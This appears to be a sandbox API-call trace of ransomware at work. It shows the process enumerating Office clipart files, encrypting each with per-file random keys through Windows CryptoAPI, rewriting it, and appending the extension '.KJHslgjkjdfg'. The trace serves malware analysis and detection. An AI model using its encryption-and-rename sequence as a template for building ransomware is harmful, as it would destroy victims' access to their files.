[0192.976] GetProcessHeap () returned 0x2ef0000 [0192.976] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.976] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.976] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.976] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0192.978] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.978] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.978] GetProcessHeap () returned 0x2ef0000 [0192.978] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.978] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.978] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.978] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.978] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.978] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.979] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.979] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.979] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.979] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.979] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.979] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.979] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1384, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1384, lpOverlapped=0x0) returned 1 [0192.980] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1390, dwBufLen=0x1390 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1390) returned 1 [0192.980] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.980] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1390, lpOverlapped=0x0) returned 1 [0192.980] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.980] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.980] SetEndOfFile (hFile=0x130) returned 1 [0192.982] GetProcessHeap () returned 0x2ef0000 [0192.982] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.982] GetProcessHeap () returned 0x2ef0000 [0192.982] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.982] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.kjhslgjkjdfg")) returned 1 [0192.985] CloseHandle (hObject=0x130) returned 1 [0192.985] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0192.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.986] GetProcessHeap () returned 0x2ef0000 [0192.986] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.986] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.986] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.986] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.988] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.988] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.988] GetProcessHeap () returned 0x2ef0000 [0192.988] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.988] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.988] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.988] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.988] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.988] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.988] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.989] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.989] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.989] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.989] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.989] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.989] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x138c, lpOverlapped=0x0) returned 1 [0192.990] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1390, dwBufLen=0x1390 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1390) returned 1 [0192.990] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.990] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1390, lpOverlapped=0x0) returned 1 [0192.990] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.990] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.990] SetEndOfFile (hFile=0x130) returned 1 [0192.992] GetProcessHeap () returned 0x2ef0000 [0192.992] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.992] GetProcessHeap () returned 0x2ef0000 [0192.992] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.992] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.kjhslgjkjdfg")) returned 1 [0193.006] CloseHandle (hObject=0x130) returned 1 [0193.006] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0193.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.006] GetProcessHeap () returned 0x2ef0000 [0193.006] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.006] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.007] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.007] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.009] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.009] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.009] GetProcessHeap () returned 0x2ef0000 [0193.009] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.009] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.009] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.009] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.009] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.009] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.009] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.009] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.009] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.009] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.009] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.009] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.010] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1cd8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1cd8, lpOverlapped=0x0) returned 1 [0193.011] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ce0, dwBufLen=0x1ce0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ce0) returned 1 [0193.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.011] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ce0, lpOverlapped=0x0) returned 1 [0193.011] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.011] SetEndOfFile (hFile=0x130) returned 1 [0193.012] GetProcessHeap () returned 0x2ef0000 [0193.012] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.012] GetProcessHeap () returned 0x2ef0000 [0193.012] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.012] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.kjhslgjkjdfg")) returned 1 [0193.013] CloseHandle (hObject=0x130) returned 1 [0193.014] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0193.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.015] GetProcessHeap () returned 0x2ef0000 [0193.015] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.015] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.015] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.015] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0193.017] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.017] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.017] GetProcessHeap () returned 0x2ef0000 [0193.017] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.017] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.017] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.017] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.017] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.017] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.017] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.017] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.018] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.018] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.018] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.018] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1306, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1306, lpOverlapped=0x0) returned 1 [0193.019] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1310, dwBufLen=0x1310 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1310) returned 1 [0193.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.019] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1310, lpOverlapped=0x0) returned 1 [0193.019] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.019] SetEndOfFile (hFile=0x130) returned 1 [0193.021] GetProcessHeap () returned 0x2ef0000 [0193.021] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.021] GetProcessHeap () returned 0x2ef0000 [0193.021] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.kjhslgjkjdfg")) returned 1 [0193.026] CloseHandle (hObject=0x130) returned 1 [0193.027] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0193.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.027] GetProcessHeap () returned 0x2ef0000 [0193.027] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.027] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.027] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.028] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0193.029] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.030] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) 